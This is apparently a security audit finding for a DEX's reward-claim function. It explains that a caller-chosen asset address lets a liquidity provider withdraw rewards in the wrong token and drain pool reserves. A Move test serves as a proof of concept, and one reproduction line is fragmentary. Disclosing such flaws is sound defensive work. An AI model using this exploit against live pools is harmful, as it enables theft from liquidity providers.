The reward-claim function trusts a user-supplied asset_addr when transferring owed rewards. Instead of enforcing the configured rewarder asset for the given rewarder_index, the function withdraws from whatever FA store matches the caller’s asset_addr. An LP with accrued rewards can therefore claim in asset A or asset B (or any FA the pool holds), draining pool reserves by up to the owed amount per claim.
Impact: Direct, non-privileged theft from pool reserves equal to the attacker’s accrued reward balance each claim; breaks asset-type invariant for rewarders; fund mis-accounting.
clmm_router::collect_rewarder(pool_id, rewarder_index, position_id, asset_addr = address_of_token_A).amount_owed; the rewarder index still corresponds to R.asset_addr = address_of_token_B; pool’s B reserve decreases accordingly.#[test_only]
module dexlyn_clmm::reward_vulnerability_test {
use std::signer;
use std::option;
use std::string::utf8;
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::coin;
use dexlyn_clmm::clmm_router;
use dexlyn_clmm::factory;
use dexlyn_clmm::pool;
use dexlyn_clmm::utils;
use dexlyn_clmm::test_helpers::{Self, TestCoinA, TestCoinB};
use integer_mate::i64;
#[test(
supra_framework = @supra_framework,
admin = @dexlyn_clmm,
user = @0x123
)]
public entry fun test_reward_asset_vulnerability(
admin: &signer,
user: &signer,
supra_framework: &signer
) {
// Setup environment
coin::create_coin_conversion_map(supra_framework);
account::create_account_for_test(signer::address_of(admin));
account::create_account_for_test(signer::address_of(user));
timestamp::set_time_has_started_for_testing(supra_framework);
factory::init_factory_module(admin);
clmm_router::init_clmm_acl(admin);
test_helpers::mint_tokens(admin);
test_helpers::mint_tokens(user);
// Create pool with tokens A and B
let tick_spacing = 100;
let fee_rate = 500;
clmm_router::add_fee_tier(admin, tick_spacing, fee_rate);
let init_sqrt_price = 18446744073709551616; // 1.0 as Q64.64
let asset_a_addr = utils::coin_to_fa_address<TestCoinA>();
let asset_b_addr = utils::coin_to_fa_address<TestCoinB>();
let (asset_a_sorted, asset_b_sorted) = utils::sort_tokens(asset_a_addr, asset_b_addr);
// Create pool with A/B pair
clmm_router::create_pool_coin_coin<TestCoinB, TestCoinA>(
admin,
tick_spacing,
init_sqrt_price,
utf8(b"test-pool"),
asset_a_sorted,
asset_b_sorted
);
let pool_opt = factory::get_pool(tick_spacing, asset_a_sorted, asset_b_sorted);
let pool_address = option::extract(&mut pool_opt);
// Initialize rewarder with Token A as reward token
let rewarder_index = 0;
clmm_router::initialize_rewarder(
admin,
pool_address,
signer::address_of(admin),
rewarder_index,
asset_a_addr // Configure Token A as reward token
);
// Configure rewards emission rate
let emissions_per_second = 1000;
clmm_router::update_rewarder_emission(
admin,
pool_address,
(rewarder_index as u8),
emissions_per_second,
asset_a_addr
);
// Open position for user
let tick_lower = 18446744073709551216; // -400
let tick_upper = 400;
let pos_id = pool::open_position(
user,
pool_address,
i64::from_u64(tick_lower),
i64::from_u64(tick_upper)
);
// Advance time to accrue some rewards
timestamp::fast_forward_seconds(100);
// Exploit: User attempts to collect rewards in Token B instead of configured Token A
clmm_router::collect_rewarder(
user,
pool_address,
0, // rewarder_index
pos_id,
asset_b_addr // Request Token B instead of configured Token A
);
}
}